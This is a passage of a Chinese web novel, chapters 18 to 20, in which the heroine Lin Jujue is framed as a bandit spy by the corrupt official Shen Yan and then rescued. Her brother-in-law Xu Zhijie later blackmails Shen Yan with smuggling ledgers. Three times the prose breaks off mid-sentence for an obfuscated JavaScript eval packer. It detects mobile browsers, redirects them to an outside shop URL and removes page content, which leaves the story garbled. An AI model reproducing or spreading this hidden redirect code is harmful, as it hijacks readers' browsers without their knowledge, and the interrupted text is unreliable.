徐执节左手揽着桔珏，偏偏右手有些无力，被她推拒开来，只好低声哄了起来。 柔荑抵在胸前，双目含情低声道，“你生气了吗？” 汗浸浸，香颤颤。 徐执节全身僵硬。这样柔声低语的桔珏，他全然应付不来，口中只胡乱答道，“没有没有。” “我没有真的生气。” 桔珏听后放下心来。低头垂手间，不自觉揉搓着那人的衣袖，面颊上一片红晕。 “你的玉佩湿了，你也不恼……你待我真好。” 肌肤相亲间，温言软语中，徐执节耳根红了一片，手却不自觉收紧。 低头看去，那女子乖顺偎在他怀中，双目盈盈。 好似合该如此。 “快把柴火收起来，我们一起游到最下面。” 这话颠三倒四，不知从何而起，徐执节并未放在心上，只一味低声哄道，“我自然不恼。” 说罢，将白瓷瓶放置鼻下。 一股霸道难闻的气味强势钻入鼻腔，熏的人神志清明了几分。 难闻至极！ 桔珏冷汗直冒，摇头要向后躲，可后面是结实的胸膛，哪里还有多余的地方？只稍片刻，她就清醒不少，扶额坐立起来。 “怎么是你？” 看清徐执节的脸后，面上闪过一丝尴尬，理了理衣衫后，脑中想起一件大事，惊呼道。 “灶房还在着火！我们快去。” 可一站起来，便觉出双腿绵软无力，就要歪下倒去。 “你歇着罢。”徐执节上前扶住，不留痕迹将白瓷瓶藏于袖内，“他们在救火了。” “他们？” 桔珏听得奇怪。 她虽头疼得厉害，却还是记得刘怀瑾说的话。他临走之前反复叮嘱，让自己不要放任何人进来，却不想呛了烟雾后，徐执节放了人进来。 “快走，让他们都走。”桔珏拽住徐执节的手，死死盯着他说道。 “……怎么了？” 徐执节不明所以，一时间，两人便僵持在原地。 “呵——” 一声嗤笑声响起 “这是在唱哪一出呢！” 桔珏抬眼，便看到门口倚着一个熟悉的身影。 那男子一身赤朱云锦的外衫，阴柔的眉眼锐利盯着屋内，嘴角似笑非笑。 正是沈砚。 18. 第 18 章 原来沈砚携一众官兵鱼贯而入，将小铺搜了个底朝天。 “我说了，此间并未藏有歹人。”待官兵禀完，桔珏忍着头痛，高声回话。 声带撕扯之下，一语毕，竟是撕心裂肺地咳了出来。 徐执节忙抬手顺背，却被桔珏狠狠躲开。沈砚将此看在眼里，挑眉笑道，“林桔珏啊林桔珏，还是你的功夫高啊。” “天底下的男人，都尽数被你算计了去。” “你胡说些什么！”不等桔珏反应，徐执节面色一黑，“沈大人，既然搜查无果，是否可以请回了？” “不急。”沈砚漫不经心，自顾坐了下来，斜眼瞥看徐执节，说道，“你我互为知己，又何必称呼上生疏至此？” “叫我沈砚便可。” “你——”徐执节心头一颤，侧身忙要对着桔珏解释，却看到她面色如常，一时间怔愣在原地。 不知是喜是悲。 “沈大人，如今夜已深了。”桔珏声音低哑。“若是叙旧还请改日，夜深了，便不好再招待大人。” 沈砚恍若未闻，掀开茶壶盖，细嗅一番，面上尽是嫌弃之色。 “粗茶简陋，何以待客？”沈砚嗤笑一声，接着话锋一转，“不过本官确实乏了。” “来人呐，将人给我拿下！！” “什么？” “夜既已深，那本官明日再审。” “是为何故？”徐执节上前欲拦住官兵，可官兵们训练有素。加上深夜办差原本心有怨气，下手更是不留情。 桔珏脑袋嗡嗡作响，早已失了反抗的力气，被人从身后扣住。 “沈大人？何至于此啊？”徐执节扑上前。 “哼。”沈砚冷笑一声，负手而立。“山中贼寇作乱，竟火烧民房。此间是贼寇最后的踪迹，你须好好配合本官办案。” 贼寇？ 桔珏听得清楚，这些词语却无法拼凑成完整的句子。 临走之前，一片嘈杂中，又听得徐执节忽远忽近的声音，说他会想办法。 想……什么办法？ “沈砚！这可不是先前说好的……” 眼前的光亮极速褪去，人影也逐渐模糊起来。在有些熟悉的惊呼声中，桔珏彻底昏倒过去。 一夜无梦。 徐执节、刘怀瑾，以及现实中棘手的麻烦，都在深度睡眠中，被彻底忘却。 桔珏从未睡得这般安稳过。 以至于当她再看到沈砚那张脸时，还有些怔愣出神。 “大胆。”县令惊堂木一拍，惹得桔珏浑身一颤，灵魂瞬间归位，明白此刻凶险，却不知要如何应对。 “王爷如今被贼寇掳走，不知踪迹。” 桔珏听得迷糊，又闻得县令继续道，“王爷最后现身之处便是你的小店。哼，如今不想在本官管辖内，出现这样的恶事来，你这贼妇，还不快如实招来！” “大人明察。”虽不知自己如何成了贼妇，桔珏快速辩解道，“民女实在不知内情。” “民女店铺原是王爷所赠，闭店时不过傍晚，王爷来找民女问了几句，都是店铺琐事，之后便走了。” “巧舌如簧！”沈砚眯起眼眸，狭长而狠厉问道，“你可识得那人？” 桔珏这才看到身侧还有一个身影。 那是一个健壮的男子，浑身粗布烂衣，掺着血迹，只勉强盖住身体。定睛细看，只觉得这人眼熟。 “倪二？你是倪二！” “你认得便好。”沈砚抬步走下来，倾身蹲下，手持扇柄挑起桔珏的下巴，面带微笑道，“你可知，这南码头的倪二，便是贼寇安插的奸细？” “徐州城内，贼寇的奸细可不少呢。” 沈砚的笑容阴森森的，刺得桔珏面色发白，浑身颤抖起来。 原来如此。 他们要借贼寇的名义，除掉淮王。而自己一介村妇，便被打成贼寇的奸细，一并除掉。 沈砚眼见这女子，像失去水分的花枝，一下便枯萎了。心下不仅有些得意，这村妇自持貌美，从不将他放在眼里，说话尖酸刻薄，此间却狠狠栽了个跟头。 凡是跟他作对的人，都没有好下场！ 沈砚起身，将扇子张开放于胸前，看着县令明镜高悬，威风凛然，沈砚唇角勾起。 真真是春风得意。 “南码头是徐州要地，往来商贾不知凡几，民女开店置办货物，确是经过倪二这个贼寇，只是民女愚钝，竟全然不知。”桔珏声音响起。 沈砚猛然转身，“贱妇！” 正要再骂时，便听得县令轻咳一声，收敛了神色。 “你既不知实情底里，为何倪二供词却说，你与他里应外合，将淮王诱至店铺，任贼寇掳走。”县令垂眸，“哼。你若说实话，本官还会从轻发落，不然——” 威胁的意味不言而喻。 “大人明鉴！民女与淮王情投意合，否则怎会收取铺面？” 事到如今，只有如此言说，才有可能洗清嫌疑。 桔珏迅速抓住了什么，继续道，“民女虽没有见识，却也知道王爷是顶天的好归宿，如何能投向贼寇，算计王爷？” “更何况——” 桔珏抬手捋了捋散落的发丝，轻声道，“倪二的来处，可是贵府的赖娘子所荐。”难道县令府邸，就是贼寇的窝点不成？ 话未尽，高堂之上的两人知其中之意。 空气瞬间安静了一瞬。 啪—— 忽然间，一把木扇急驰而来，向桔珏的额间掷去。 桔珏看得分明，却不敢躲开，只待额间传来火辣辣的痛意，才颔首捂住额头。 却摸到一手温热的液体。 沈砚瞧得极为满意，轻蔑道，“好啊。你一个村妇也敢攀附县令的管家娘子，还是拉下去，打上几十板子再说。” 他斜眼瞧着县令，面带挑衅，“大人看呢？” 县令原本面色不好，却忽的又笑了，只道，“依你的便是。” 说罢看了一眼随侍。 打板子的官差，手上都有些功夫。有些不过十几板子，便能断人筋骨，叫人皮开肉绽，苦不堪言；而有些五十板子的，手腕上的功夫，虽看得疼痛难忍，那伤口却不过几日便能愈合。 其中春秋，县令再清楚不过。他听得桔珏扯上府上人，便发狠，当下就要将其治死。 桔珏捂着额头，不知内情。 只有源源不断的、温热的血，顺着指缝流下，糊在眼眶处。 她忽然有些累了。 她是知道的，不是吗？解释辩解统共都是无用的，她合该知道的。 女体毫无反抗之意，任由官差拖拽，如破布一般扔在地上，摊开于倪二身边。顺着猩红的视线望去，那倪二的眼球爆裂开来，拽出一段模糊的神经，耷拉在面上。 竟是早已气绝。 桔珏心中发苦，扯了扯唇角，只尝到了铁锈的味道。 她合该知道，自己身在何处，这里的人都是什么样……恍惚中，桔珏忽得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418447|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起刘怀瑾来，想起那日他在庙间说的话。 “怕什么！” “有理走遍天下。他们如此妄议，有识之士自然可以当面反驳！” 言语慷慨，自是一番热血。 唇干舌燥，滴水未进的唇口一张一合。声音细若蚊蚋。 “等等。”沈砚似乎犹未尽兴。“你说什么？” “呵呵呵……当人瞧不出么？”桔珏冷笑一声，目眦欲裂，散乱的发丝加上半张带血的面庞，宛若从阴间走出的恶鬼。 可惜世间没有恶鬼。 “哈哈哈哈……你们也是技穷至此，竟攀扯上贼寇，当别人都是傻子吗？”话未说完，官差用力发狠，一阵剧痛便从手臂上传来。 “许悰！”桔珏厉声叫出县令的名字。 “刘怀瑾还未寻见，便急着拿你地界的百姓开刀了……呵呵呵。”桔珏不管不顾，只目光炯炯，狠狠瞪着高堂上的县令，肆意骂出心中所想。“……狗官！” “大胆！” “呸！枉你熟读圣贤书，竟是都到了狗肚子里，唔……唔…”话还未毕，就被沈砚堵住嘴，支吾不停。 真是奇了。 她狼狈不堪，言辞却慷慨自若。 虽是女子，端是一方君子做派。看得沈砚心头火起。 都是出来卖的，为何你就做足了姿态？自持清高，却与自己一般无二。沈砚几乎要笑出来了。 “找死？” 沈砚拾起木扇，横放于桔珏唇齿之间，拽着桔珏的头发轻声说道，“一会，可得含住了。” “动手吧！” ——“慢着。”一道女声同时响起。 是谁如此大胆？沈砚正要发作，看清来人后，负手行了一礼。 “夫人？” 县令眼里闪过一丝心虚，忙迎上来。“你怎么来了？” 来人正是县令原配，朱氏。 她穿得并不如何华贵，举止打扮却十分得体讲究，只看那珠钗上的明珠，便是不可多得的老物件。 “我的人成了贼寇，如何敢不来？”朱氏语带嘲讽，瞧也不瞧沈砚，行至县令身前。 “夫人这话从何而起啊。”许悰装傻。 朱氏还未开口，随行的仆妇像是再也忍不住了，忽得猛扑在前，哭喊着倪二的名字。官差们不敢阻拦，却又不能放任不管，正为难间，恰好看到沈砚的手势，得令后，跟随沈砚退下。 一时间，堂内空了不少。 “这竟真是咱们府上的人？”县令吃惊，试探道，“夫人啊，这其中定有误会。” 朱氏自顾站在，待心腹查看完两人的伤势，上前回禀道，“夫人，两人都没了。” 朱氏面色难看，瞪着县令，却听到一仆妇惊呼。 “天娘嘞，还有气。” 原来是桔珏体力不支，情绪激动下，早已昏死过去，再加上满脸血迹，仆妇误以为魂归太虚。正要拖走时，却发觉女体温热，探了探鼻息，却还有气。 另一旁却没有这么好的运气。 那嚎得伤心的正是赖娘子的姊妹，膝下唯倪二一子，不想人到中年却没了指望。 朱氏抬手令人将其带走后，一言不发，就只看着许悰，看得他心里直发毛。 半晌后才道，“这人，我可带走了。” “你看着办便罢。”许悰松了一口气，摆了摆手。 语气急转直下。 朱氏瞧得分明，心中不免有些悲凉之意。带着一众人等，回到了内院。 19. 第 19 章 “沈砚！” 徐执节不顾官差阻拦，高声怒道。 自桔珏被沈砚带走，已三四日有余，徐执节日日来衙门口询问，多半被挡了回去，今日好容易撞见沈砚，不管不顾就闯将进来。 “沈大人，这厮言语冒犯，合该以冲撞官员之罪，狠罚一通才是。” 沈砚却也不恼，摆手呵退众人。 堂下，徐执节怒火中烧，活像是要吃人一般，沈砚并不理会，只歪着头查阅案卷。 “沈砚！为什么还不放人？你今日定要给我说清楚！！” 见他语气焦急，沈砚心中得意，忍不住声音慵懒地逗弄道，“这就急了？” “沈砚！”徐执节一把抓起沈砚的手腕，力气之大，近乎要将他拖拽起来。“我该做的可全都做了。即便是要问话，这会子也该放人了吧？” “放人？”沈砚斜眼瞥向这眼前这少年郎，感受到手腕被牢牢禁锢住，索性将身体全部重量坠在上面。 谁知徐执节竟面露恶嫌，一把甩开他的手。 沈砚沉默了半晌，随即轻笑起来，“……怎么了，怕脏了你的手么？” “何时放人？” 这番惜字如金，落在沈砚眼中，倒像是多说一句话也嫌他脏。 “……你跟你嫂子关系倒好。”沈砚眯起眼睛，语气轻松，像是随意攀谈一般，“是了，都说长嫂如母，更何况如今徐家就剩下你们二人，即便你年岁见长，关系好些也是寻常。” “只是——” 沈砚话锋一转，神情阴狠道，“堂堂七尺男儿，却跟寻娘吃奶的孩童一般，此番姿态，无端令人耻笑。” 徐执节握紧双拳，却浑身止不住地发抖。他心中狠极了这人。 也狠自己。 没甚权势，竟拿这人毫无办法。 “收起你这作态来。”沈砚扔下手中的案卷，语气不屑道，“一天大似一天了，也该长些智慧。” “想要放人，便该知道拿出什么来孝敬。” 见徐执节面露难色，沈砚勾起唇角，提醒道，“我可好说话得紧，什么玉饰钗环，祖宅地契，瓷盏店铺……” “来者不拒。” 说罢重新拿起案卷佯装翻看，直到人走了，才一把丢开。 那少年显然把他说的话当成正事去办了，这怎么办才好？沈砚嘴角止不住扬起。 桔珏如今可不在他手里，可他从来只管收钱办事，其他的一概不知。 想到此处，沈砚一扫心中郁气，整个人轻快不少。王爷出手大方，想必有不少名家珍品…… * 许府。 “姑娘醒了？” “姑娘醒了！快来人啊，姑娘醒了！！” 桔珏刚一睁眼，高分贝的女声便刺入耳膜，震得人头脑发木，来不及细思身处何处，就见乌泱泱一群人围了上来。 为首的中年女人面色和善，眉宇间是挥之不去的郁色。 又穿越了？ 这次可要苟到最后。 念头刚一起，听得那妇人说道，“林姑娘，你终于醒了。这里是许县令的府邸，你莫怕。” 刚放下的心又提起来了。 为何昏迷后，却在县令府上醒来？桔珏心中奇怪，却见周遭摆件装饰无一不雅，就连她这个俗人也看得出造价不扉，这是何故？ 更古怪的是，这妇人打量自己的眼神…… “林姑娘，我是县令的夫人朱箐。那倪二，原本是朱家的家生子，却不想被贼寇买通，反叫你无辜受牵。现已查明，确是与你无关，姑娘大可放心了。” 朱夫人三言两语，将前因后果解释完。 轻飘飘的几句话，竟想将施加在她身上的不公全部抹除？ 桔珏垂下眼眸，露出苍白纤细的脖颈，看上去乖顺纯然。“夫人客气了。县令日理万机，一时疏忽也是有的。” 这话姿态十足的低。 若不是那日亲耳听到这女子的怨怼怒言，她都察觉不出，这竟是淮王的心上人。 朱氏虽不喜俗世枷锁，内心却也觉得，那日桔珏放肆，皆是倚仗淮王的缘故。只可惜淮王现在自身难保……朱氏神色不明。 “此间事既已了，我是否可以回去了？” “姑娘好生无礼！”桔珏自觉言行并无不妥，可一侧的嬷嬷看不下去了。自家主子是最和善不过的，这回却忤逆县令，闹了好大的不快，谁呈想她竟不承情？ “林姑娘在堂上昏倒，若不是我家娘子到的及时，五十板子？哼，只怕是十板子，姑娘也受不住。哪里能这样轻易走脱？” “多嘴。” 朱氏虽及时止住，桔珏心里只觉主仆两联手做戏，却想不通各中关窍。 “朱娘子，虽不知你为何出手救我，可总归是您，保住了我的性命。”桔珏直接开口。她面无血色，身子弱柳扶风般，但眼神十分坚毅。 简直像个江湖儿女。 “我虽是一个村妇，却也懂得知恩图报的道理。若您日后有能用得上我的地方，桔珏必定结草衔环，以报此节。” 朱箐点点头，心中满意。可这番托大的说辞，被下旬一位眼熟的嬷嬷听了去，终于忍不住。 “我们娘子哪里有用得着你的——”话还未毕，被朱氏一个眼神止住。 “赖妈妈？你是赖妈妈！” 桔珏认出此人。 “你们此前相识么？”朱氏笑道，“是了，你的铺子就是赖妈妈的本家。之前我赏的金粉玉盏，都尽数被你买了去。” “咱们喜好倒是投缘。你的铺子新巧，改日你们也都去尝尝看。” 一语罢，丫鬟仆妇们应和着，气氛好不快活。 桔珏却觉得格格不入。 铺子里早被砸了个遍，还有小叔那一堆事等着她料理，桔珏长叹一口气，试探告辞。 谁知朱氏应允不说，还包了补气的药材和常见的方子。出门时，竟是大包小包，像是上城走亲戚一般。桔珏推辞不过，只得作罢。 内院正厅。 榻上的熏香，韵味悠长，却不似寻常檀香。 朱氏拿起案上的经书，见贴身嬷嬷进来，抬眼问道，“王爷找着了？” 嬷嬷摇头。 “那王府大部分护卫都去运送财物了。上京一个来回，即便快马加鞭也得一些时日。不过老爷说过，那淮王留有后手，加上徐家镇码头来往船只众多，一时倒也查不出什么。” “是么？”朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418448|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏冷笑一声，“那是许悰无能！” “姑娘慎言。”这位嬷嬷看着朱氏长大，而许老爷婚后行事荒唐，便打心底里，恨不得她从未出阁才好。如今情急下，竟脱口以姑娘相称。 “怕什么。”朱氏神色悲凉，“这院子里的一切，他何时留意过？” “话虽如此，倒有一事想不通。”嬷嬷忙岔开话题。“那林桔珏，可是日前害公子挨打的祸水。依我看，与贼匪一事，虽非实情，却也任县令处置，岂不干净？” “更何况娘子救下她，她不千恩万谢，反而——” “不必再说了。”朱氏阖上双目，拿起佛珠喃喃道，“……淮王多半是没了。” “如今新皇上位，卧榻之上岂容他人酣睡？这些顽固却死拽着手中的税银不放，哼。螳臂挡车罢了。死了一个王爷又如何？” 朱氏冷笑，“莫说是先帝的儿子，就算是当今圣上的儿子都死绝了，也难掩大势。” 新皇登基不久，便下令革新，修改立法，南修堤坝，北伐蛮荒，可见是个腹有韬略的。可这些韬略，必得有夯实的银钱支撑才是。 朱箐是朱家的爱女，自幼熟读史书国策，对如今的局势，看得再明白不过。 “那……要不提醒老爷？”嬷嬷斟酌道。 “哈哈哈哈。”朱氏弯腰俯身，似乎是听到了不得了的笑话，几乎笑出了眼泪。 到最后，朱箐双唇颤动，嘴角虽然拼命勾起，面上却是一片绝望。 竟是哭了出来。 “提醒他？”朱氏轻声反问，眼中闪过一丝狠厉，“他蹉跎我至今，哪里有这样的道理？” 嬷嬷自知失言，心疼得不行，忙取了帕子，递了茶水过来。 怨不得姑娘心内有怨。 就连她也气的不行。那淮王侍卫运送上京的财务，天娘嘞，哪有人能一次性见到这么多财宝？前面的她不知道，可那后半截。 全是朱家积年的财物！ 满满装了十几车，直累得那马头甩缰绳，嘶鸣不止。 县令找娘子，从来都没什么好事。嬷嬷记得清楚。似乎是哭庙时，提起了税务一事，被淮王抓住了把柄，知府连夜急报，从上自下搜集财物品，运送上京。 十几年未踏进院落啊！嬷嬷叹了口气，为自家姑娘不值。 * “徐老二，天都快黑了，你急着上城干甚？”一位庄家汉子调侃道。 徐执节步履匆匆，心事重重，并不理会。 “诶，这徐老二……” 已经五日了。 徐执节心急如焚，不知桔珏在狱中是何种遭遇，悔不当初。那日听了沈砚的话后，便急忙回家翻找。 只是铺子已经烧得不成样子，前厅虽然完好，后房却不能住人。好在桔珏此前说过房契的位置，徐执节翻开柜台下的暗箱，果然找到了房契。 店铺位于长街，不下百金。想着是王爷所赠，唯恐沈砚反口不足，便匆匆回村上，又取了祖宅的地契。 他今日，定要救出桔珏。 徐执节加快步伐，理了理衣襟。其中就是房契、地契…… 还有一枚水缸底的玉佩。 质地温润，雕工精巧，想必是一件好物。 20. 第 20 章 契书： 今因家用不足，自愿将房屋出卖。当日银契两清，并无拖欠。 此房并无典当、争执、重复买卖，如有一切纠葛，卖主自行承担。自立契后，房屋归属沈砚管业，任凭改造居住。恐后无凭，立此卖契为据。 立契人：徐执节。 沈砚读后嗤笑出声，食指夹着一纸契约，调笑道，“呵，祖宅都卖了？” 徐执节不做理会，扭头看向别处。 这两张房契价值不少，只是店铺尚有盈利可图，这破烂村落的土屋瓦舍，要它来做甚么？若不是还有两百两银票夹在其中，沈砚早就退回去了。 想到只空手套白狼一招，就哄出这么多钱来，沈砚心情大好，有心逗弄一番。 “你这般掏心掏肺地对她，只怕人家不领情呐。诶。”沈砚一手撑着头，另一手把玩那枚玉佩。 触手升温，确是好物。 “何时放人？”徐执节并不想与他多纠缠，恨不得掏了钱转身就走。 “什么放人？”沈砚将玉佩收于袖内，故意道，“哦，你说林桔珏啊。本官查明原委后自会放人。你且回家等着罢。” ——“哦。” 沈砚佯装想起什么，捏着那两张房契扬了扬，“瞧我忘了。你家在这儿呐。” 面前的少年眉眼修长，琼鼻立挺，唇角却倔强地微微抿起。 干净的书生郎，端地一副被人欺辱了的姿态，看得沈砚心情大好。 原先他不通，可如今时移世易，换成了他坐在权利之巅，才终于明白，欺男霸女的各中乐趣。怪不得官员们都乐此不疲。 “……当真是容你不得。” 徐执节深吸一口气，缓步上前。 少年轻微颔首，步履徐徐，眼神却抬起紧紧盯着前方。不知是否是室内烛火昏灰的缘故，白烛摇曳之下，幽暗的阴影在少年面上涌动，瞳孔里的疯狂清晰可见。 几乎是一息之间，徐执节就变了一个人般。 “呵。”沈砚冷哼一声，站起身呵道，“你作甚么？” 声音中气十足，驱散了几分不安，但那种被当做猎物盯上的毛骨悚然感，挥之不去。 “沈大人。” 少年声线平稳，沈砚却听出了几分嘲讽。 “人为财死，鸟为食亡。大人是个聪明人，自然明白其中道理。” 徐执节面无表情，从怀中接连掏出一沓银票，面额大小不一，几乎要攒成一本小册。然后手腕轻翻，那跌银票便如流水般，轻扇在沈砚面颊上。 脱力之下，银票纷飞，立时四散开来。 “这些，够了么？” “……大胆！” 沈砚毫无准备，从未想到有如此屈辱的事……再次发生。 他神情发狠，杀意顿起，张口就要叫人。谁知徐执节根本不惧，老神在在，自顾坐在主位上。 “若是我，就不会这样做。” “沈录事。”徐执节垂下眼眸，随手拿起案上的文书。“或者该叫您……申修文。” ？ 沈砚瞳孔瞬间聚焦，不可置信地转头看过去。 “八月飘香，十里稻场。金黄万顷，无边无际。沈大人，您有见过这般丰收的稻谷吗？” 徐执节撇下文书，后靠在椅背上，缓缓道，“徐家村稻谷厂，荒废了十年有余。可每年的糖盐吞吐量，比得上镇上的南码头。” “这些账，我替您记了三年。” 沈砚的脸色变了。 “多少双眼睛都盯着徐州，盯着这里的私糖私盐、多少双手想从中捞一笔？沈大人，您也是各中好手。” “好在沈大人料事如神。除了您，还有谁能想到荒废的稻谷厂价值千金呢？”徐执节抬起头，表情平静得像是在背书，“如今正值多事之秋，各方都缺银子，即便是掉脑袋的事，也不得不做。可即便借着那位王爷的名头，一层层查下来，却仍旧一无所获。” “沈砚，你的日子怕是不好过罢。” 见沈砚面如死灰，徐执节轻笑一声，“那东西，从来就不在厂里。可我想说的不是这些。” “生意人，账簿是最为要紧的。鄙人不才，每一笔交易，都有据可查。经了谁的手，最后到了谁哪里。” “包括您的。” 沈砚双目眯起，眼眶猩红，“你以为一本假账就能威胁我？” “假账？”徐执节歪了歪头，“大人尽可以试试。” “试试您上个月查封的那批货物，为什么五日后会出现在邻县的官仓里。” 沈砚呼吸停滞了一瞬，“是你……” “很爽吧？利用旁人，藏于幕后，坐收渔利。”徐执节声音很轻，像是在说一件微不足道的事，“我与大人，是一路人呢。” “所以大人不妨暂且放下那些金银俗物，先去放人。” “将我的桔珏，我的嫂嫂……” “还给我。” * 次日。 长街，人影空空。 店铺内，桔珏吃惊于铺面的完好无损。所有装饰物件，跟以前一般无二，若不是火场后头痛未愈，桔珏都以为是在梦中。 就连灶房的墙壁。 光洁、完好，像是被人连夜翻新了一般。 “你何必这么做？”桔珏轻叹，将油纸包的药材取出，放置于碗大的小砂锅内，添水熬煮。 徐执节敲了敲脑袋，眼眶通红，一脸不可置信道，“真的是你。” “难道还有假的不成？”桔珏声音平静，将手里的油纸揉起，顺势躲开徐执节的靠近。 徐执节眸色一暗。 “你还在怪我罢？”虽是问句，却十分笃定。 少年轻拽住桔珏的衣袖，又恐她生气，指腹摩挲着布料，这才缓缓放开。 “阿胶，田七……桔珏你不在狱中，可哪来得来这么名贵的药物？”徐执节知道是朱氏所赠，却想着与她多说些话才好，便细究起来，“外人给的东西，还是不要直接用。我现在去给你抓一方新的来，你说好不好？” 哼。既不知药物怎么来的，又怎会知晓是外人给的？口径前后不一，他也忒聪明了些。想到此处，桔珏一口怨气从心中升起。 桔珏侧身瞪着他。 按理说，她待徐执节不薄，平日相处，更是细心周全，从未怠慢。而他呢？ “不用再抓新的来了。” 桔珏直视少年，见他一面小心奉承，心头火起，快刀斩乱麻道，“我知道你心里想什么，你不用急。” “从今往后，我们各令各的。徐家的祖宅我不与你相争，这铺子便算作是我日后的落脚地……” 淡粉色的唇齿一张一合，徐执节头脑发木，半点没听清后面的话。 直到桔珏交待完，放下一荷包银钱，转身要走时，徐执节才慌忙上前，却不敢再拉扯她，只堵在灶房门口。 只执拗地问道，“你不要我了？” 一语罢，不等桔珏有所回应，两行泪珠便滚落下来。 少年睫羽微颤，正欲拭泪，又唯恐桔珏走掉，便昂着头，不愿给桔珏看到他这番可怜神态。 桔珏满脸莫名，“这难道不是你所愿吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418449|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我答应了兄长要照顾你。” 见她语气笃定，徐执节心中慌乱，情急之中，再顾不得心中那点绮念，将兄长搬了出来。“更何况，如今兄长还未回来，如何能分家？” 此时此刻，若是徐执节说出变卖祖宅，或许能引起她几分怜惜，自然不会再赶他出来。可徐执节听到此言，早已方寸大乱，哪里还能想得到此出？ “你虽称我为嫂嫂，我与你兄长毕竟未过明路，半点不算是徐家人。便是你兄长归来，也不能说我如何不对。” “嫂嫂。” 少年再没了借口，只得俊眉蹙起，连声哀求。“我知道错了，求你不要再说这样的话了。我心里难受得紧。” “嫂嫂。” 灶房内，罐内水沸，苦涩的药香逐渐蔓延开来。 桔珏心中并不快活。 心非木石，岂能无感？但徐执节行事太过出格，定得长些教训不可。桔珏打定了主意，扭头不再看他。 这番摇摆，徐执节看得清楚，复又求道，“我年少不经事，被沈砚蒙蔽了去。若是知道后果如此，实在不会做出这等下作之事，你若生气，打我两下，骂我两句也好，千万不能不要我。我只有你这么一个亲人了，我没有其他亲人了啊。” 言语中，鼻音很重，竟是带着哭腔。 桔珏本就心软，这样一求，便再也难以狠心，可自己从鬼门关闯了一遭，难道就要作罢？ 还有王爷，不知他现在何处，是否安好…… ——嘭。 一阵巨响，竟是木门被踹开的声音。 忽然间，一队官兵不知从哪持刀而来，喧闹不止，将灶房内的气氛打破。 桔珏松了一口气。 正要起身，便看到沈砚站在头起，看着两人，神情古怪。 桔珏忙将哭泣的少年护在身后，神情警戒道，“你来做什么？” 徐执节顺势躲在桔珏身后，一脸乖顺。他面色白皙，侧颜立挺清俊，加上泛红的眼眶，被风怜爱的发丝，真真是破碎感拉满。哪里有半分煞星的模样？ 沈砚看得嘴角抽搐。 “贼寇作乱，我奉命前来查人。”沈砚并不废话，绕过两人来到灶房。“你只需配合即可。” 贼寇…… 他说的面不改色。若不是亲眼所见，桔珏难以想见，天下间，竟有这样不要脸的人。 看他的今世的背景地位，便可知前世是个修行有道行的。然看他今生的所作所为，就知道前世必然不是人，而是个得道地位很高的动物。 桔珏翻了个大大的白眼。 谁知这一下，竟浑身抖若筛糠，如遭雷击，再也动弹不得。 原本失血的面色更加苍白。徐执节看得分明，眸色一暗，起身上前。竟看到灶房内，沈砚将熬煮的药罐踢倒，又来到装满江米的大缸旁，抬手将其退倒。 白色的米粒倾斜而出，瞬间铺满了大半个地面。 更可气的是，沈砚全称面带挑衅，甚至是微笑着做完一切。 末了，又补上一句，“查清了，米缸里没有歹人。” 生怕桔珏气出毛病来，徐执节上前顺背，劝慰道，“不值得的，别气。回头我将这些洗好，再装回去，也是一样的，现下，还是身体最要紧。你的药方是什么，我现在就去给你再抓一副，桔珏。” “桔珏？” 耳边的絮叨，像是背景的白噪音一般，桔珏的全部注意力，都被那惊鸿一瞥，梁上的身影吓住。 灶房之上，硕大的房梁一角，所藏的身影…… 不是刘怀瑾还是谁？